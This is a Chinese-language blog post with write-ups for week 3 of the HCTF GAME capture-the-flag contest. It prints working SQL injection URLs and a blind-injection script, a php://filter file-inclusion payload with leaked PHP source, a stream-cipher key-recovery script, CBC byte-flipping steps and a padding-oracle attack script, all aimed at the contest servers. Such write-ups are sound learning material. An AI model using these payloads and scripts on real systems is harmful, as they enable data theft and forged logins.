HCTF GAME - Week 3

Posted by JHSN on February 6, 2017

# 时间关系,这个系列到此为止了,下个 week 估计不做了,届时关注 官方 write up 吧 : )

Web 1 从0开始之SQLI之0

回忆了半天的早就忘得差不多了的 SQL 语法,试了下union select,发现是有用的,然后就一边复习 SQL 一边搜怎么查表名,最后查到的是:
user=user1%27 union all select 1,Table_Name from information_schema.tables%23

1	CHARACTER_SETS
1	COLLATIONS
1	COLLATION_CHARACTER_SET_APPLICABILITY
1	COLUMNS
1	COLUMN_PRIVILEGES
1	ENGINES
1	EVENTS
1	FILES
1	GLOBAL_STATUS
1	GLOBAL_VARIABLES
1	KEY_COLUMN_USAGE
1	PARAMETERS
1	PARTITIONS
1	PLUGINS
1	PROCESSLIST
1	PROFILING
1	REFERENTIAL_CONSTRAINTS
1	ROUTINES
1	SCHEMATA
1	SCHEMA_PRIVILEGES
1	SESSION_STATUS
1	SESSION_VARIABLES
1	STATISTICS
1	TABLES
1	TABLESPACES
1	TABLE_CONSTRAINTS
1	TABLE_PRIVILEGES
1	TRIGGERS
1	USER_PRIVILEGES
1	VIEWS
1	INNODB_BUFFER_PAGE
1	INNODB_TRX
1	INNODB_BUFFER_POOL_STATS
1	INNODB_LOCK_WAITS
1	INNODB_CMPMEM
1	INNODB_CMP
1	INNODB_LOCKS
1	INNODB_CMPMEM_RESET
1	INNODB_CMP_RESET
1	INNODB_BUFFER_PAGE_LRU
1	hhhhctf
1	users
1	test

然后再查一下表名:user=user1%27 union all select 1,column_name from information_schema.columns where table_name=%27 ... %27%23得到

hhhhctf --> flag
uesrs   --> id, username

然后再:user=user1%27 union all select 1,flag from hhhhctf
hctf{f1rst_sql1_is_34sy}

Web 2 从0开始之SQLI之1

用上一题同样的方式,发现是同样的表,但返回的内容被重写为 it must return username
这个时候想到了wind姐姐出的memory那道题,用 substring 来构造布尔型注入,试了一下条件为真和假的情况,的确是不同的,然后就美滋滋了,payload 是:id=1 AND substring((select flag from hhhhctf), ... ,1)=%27 ... %27%23

# 该 payload 未区分大小写
import urllib2
bare = r"http://45.32.25.65/nweb/sqli2/?id=1 AND substring((select flag from hhhhctf),"
ans = ""
chars = ''.join([chr(x) for x in range(33, 127)])
for i in range(0, 40):
    for j in chars:
        g = 1
        while g == 1:
            try:
                url = bare + str(i) + ',1)=%27' + j + '%27%23'
                respose = urllib2.urlopen(url)
                if r'<td>1</td><td>user</td>' in respose.read():
                    ans += j
                    g = 2
                    break
                g = 0
            except:
                pass # 使用 try 以避免网络等意外问题
        if g == 2:
            break
    print i, ans

hctf{com3_0n_h4v3_a_try233}

Web 3 从0开始之SQLI之2

一开始没做出来啊。。后来得到了一股神奇的东方力量。。知道了这题其实和第二题一样的。。只不过是换了个表名【吐血
所以就和第二题一样的套路(不过不能用 substring 了,因为这题的 flag 区分大小写了,得 substr 配合 ASCII 使用),额外加一个验证码(我一开始幻想就是这么简单。。但手注得比较乱。。所以过程就比较坎坷了。。
验证码无非就是先跑一个表,然后到时候去查表,然后解决一下同一个会话的问题(Cookie / Session)就好了。。因为网络问题,所以代码要一边跑一边改,就不贴了
payload 是:1 AND ASCII((select...),1,1)=...
hctf{w0w_captch4_iz_Diao233}

Web 4 从0开始LFI之2

一开始不会做啊,后来得到了一股神秘力量,便把Flag拿了出来
payload是 ?img=php://filter/resource=1.jpgresource=../flag.php
后来还把源码拿了出来:

<?php
error_reporting(0);
ini_set('display_errors','Off');

include('config.php');

$img = $_GET['img'];
if(isset($img) && !empty($img))
{
    if(strpos($img,'jpg') !== false)
    {
        if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
        {
            die('File not found.');
        }

        preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
        if(isset($matches[1]))
        {
            $img = $matches[1];
        }

        header('Content-Type: image/jpeg');
        $data = get_contents($img);
        echo $data;
    }
    else
    {
        die('File not found.');
    }

}
else
{
?>

大致意思是你的 $img 里得出现 “php://filter.*resource=” “/resource=.*jpg”,然后只有最后一个 “/resource=…” 是有用的

hctf{1ntere5ting_PHP_Regu1ar_express1ons}

Pentest 1 flag售货机

毕竟还是 too young,愣头青一个,没做出这题。
这道题主要考察:
* .git 源码泄露
* SQL 二次注入
直接看 官方 write up 吧,就不献丑了。


Pentest 2 LoRexxar的渗透之战之一

先注册,后登录,登录时需要一个 Code,脑子想想就知道了,这东西不可能在你手机上233
所以按 F12 看源码,看 Header,看 Network,最后发现在你点击 Send 后会访问 Code.php,response 一段 HTML,里面有个六位数的 value,试一下发现就是 Code
hctf{1ts_iz_ez_b3g1n}

Crypto 1 explorer的奇怪番外3

看懂 wiki,看懂程序,就没啥问题了。具体思路的话。。写在 flag 里了。。
hctf{rEvers3_tHe_kEy!}

Crypto 2 进击的 Crypto [1]

题目提示了流加密。
流加密核心在于用一个与明文等长的密钥流,与明文异或得到密文,可表示为

CipherText = PlainText ⊕ KeyStream
PlainText = CipherText ⊕ KeyStream

因密钥流生成方式的不同,有很多种不同的流加密方式。
这道题主要是要搞明白,你输入的 Message(设为 M),返回的 Cipher(设为 C),以及注释里的 Flag(设为F,固定长度为 128 个字节)分别是明文、密文、密文。

假设 K(len) 是长度为 len 的 KeyStream
C = M ⊕ K(len_C)
F = Flag ⊕ K(128)
如果 C 与 Flag 长度相同,则其密钥流相同
所以就有
K = C ⊕ M
Flag = F ⊕ K
即:
K = ''.join([chr(ord(C[x]) ^ ord(M[x])) for x in range(128)])
Flag = ''.join([chr(ord(F[x]) ^ ord(K[x])) for x in range(128)])

听说把那几段文字抠出来很麻烦,就贴一下代码吧(其实还好吧

import urllib2
import urllib

m = 'a' * 128
url = "http://119.29.138.57:23333/crypto/encode_system/index.php"
data = urllib.urlencode({'message': m})

def hqc():
    request = urllib2.urlopen(url=url, data=data)
    content = request.read()
    p1 = content.find("<!-- Flag:")
    q1 = content.find("-->")
    p2 = content.find("<h2>Cipher:")
    q2 = content.find("</h2>")
    return content[p1 + 10 : q1], content[p2 + 12 : q2].replace(r'\x', '').decode('hex')

f, c = hqc() # f-Flag  c-Cipher
key = ''.join([chr(ord(c[x]) ^ ord(m[x])) for x in range(128)])
ans = ''.join([chr(ord(f[x]) ^ ord(key[x])) for x in range(128)])
print key
print ans

(后来测试了一下,发现 Key 循环节为 128,和 Flag 明文一样长)
看 flag 的意思是 RC4 加密……
hctf{Rive5t_C1pher_4_1s_ez}

Crypto 3 explorer的奇怪番外5

一开始没有看到题目写着 “CBC字节翻转攻击”,在那里瞎jb做,真的十分智障
这道题需要你理解 CBC 大致流程以及 iv 的含义,然后理解 “CBC字节翻转攻击”,其大致意思就是利用 xor 的特性,通过改变一组密文(或iv),使得其后的每一组密文对应的明文的固定位上的内容发生变化。
这道题分注册和登陆:
1. 注册:需要你给出 name 和 password,明文是name + ":" + password,返回给你一个 token(用 AES_CBC 方式对明文加密后的密文以及iv),其中题目不允许你注册 admin
2. 登录:需要你给出表示 admin 用户以及相应密码(“alvndasjncakslbdvlaksdn”)的 token,以此得到 flag
我构造的是
name: admina
password: lvndasjncakslbdvlaksdn
对应明文:admina:lvndasjncakslbdvlaksdn
使其变为:admin:alvndasjncakslbdvlaksdn
然后只需要改变一下 iv:
iv[5] = chr(ord(iv[5]) ^ ord(‘a’) ^ ord(‘:’))
iv[6] = chr(ord(iv[6]) ^ ord(‘:’) ^ ord(‘a’))
(其实可以使用 admim,然后将 m 改为 n 更简单)
hctf{cRypT0_ls_1nteRestlng!}

Crypto 4 explorer的奇怪番外6

一开始看到题目的时候,感觉很吃惊啊,这tm怎么可能攻击,后来看了看原理,又看到源码里有个对 padding 的特别的检测,就想通了
推荐博文 Padding Oracle Attack实例分析 - 老赵点滴 - 追求编程之美
明文就是:admin:alvndasjncakslbdvlaksdn,长度 29,补 3 位,分为两组
大致思路是:不妨设 cipher 的最后一组全是 \x01,然后推算第一组,再推算 iv(看作第 0 组)

#-*- coding:utf-8 -*-
# 核心代码贪图方便,所以存在一点小问题,适用于本题,但不适用于所有情况
# 该程序文风偏莽,观看时注意保护眼睛和智商
import socket
import time

def padding(s):
    p = 16 - len(s) % 16
    if p == 0:
        p = 16
    return s + chr(p) * p

goal = padding("admin:alvndasjncakslbdvlaksdn")
n = len(goal) / 16  # 组数
c = [([chr(1)] * 16) for i in range(n + 1)] # 需要构造的密文,其中 c[0] 为 iv

s = socket.socket()
s.connect(('121.42.25.113', 20003))
time.sleep(0.5)
data = s.recv(1000)

def judge(iv, c, p): # p 控制输出的参数
    s.send('1\n')
    s.recv(1000)
    s.send(iv + c + '\n')
    data = s.recv(1000)
    if p:
        print data
    if 'decrypt error' not in data:
        print 'OK', iv + c
        return True
    return False

for r in range(0, n)[::-1]: # 当前正在推算的 block
    mid = [1] * 16 # 一组密文的中间计算结果
    for i in range(1, 17): # padding 量
        print '%d.%d' % (r, i),
        for j in range(0, 256): # 枚举 iv
            c[r][16 - i] = chr(j)
            if judge(''.join(c[r]).encode('hex'), ''.join(c[r + 1]).encode('hex'), False):
                mid[16 - i] = i ^ j
                if i < 16:
                    for k in range(16 - i, 16):
                        c[r][k] = chr(mid[k] ^ (i + 1))
                break
    for i in range(0, 16):
        c[r][i] = chr(ord(c[r][i]) ^ 16 ^ ord(goal[16 * r + i]))

iv = ''.join(c[0]).encode('hex')
cipher = ""
for i in range(1, n + 1):
    cipher += ''.join(c[i]).encode('hex')
judge(iv, cipher, True)

s.close()

最后跑出来的 token 是:fc91add5ccfeeed5661b95f9a9868e743718dae65ecf16e8ad9ad4551d55447401010101010101010101010101010101
hctf{cRypT0_ls_s0_1nTeRest1Ng!}




评论区加载中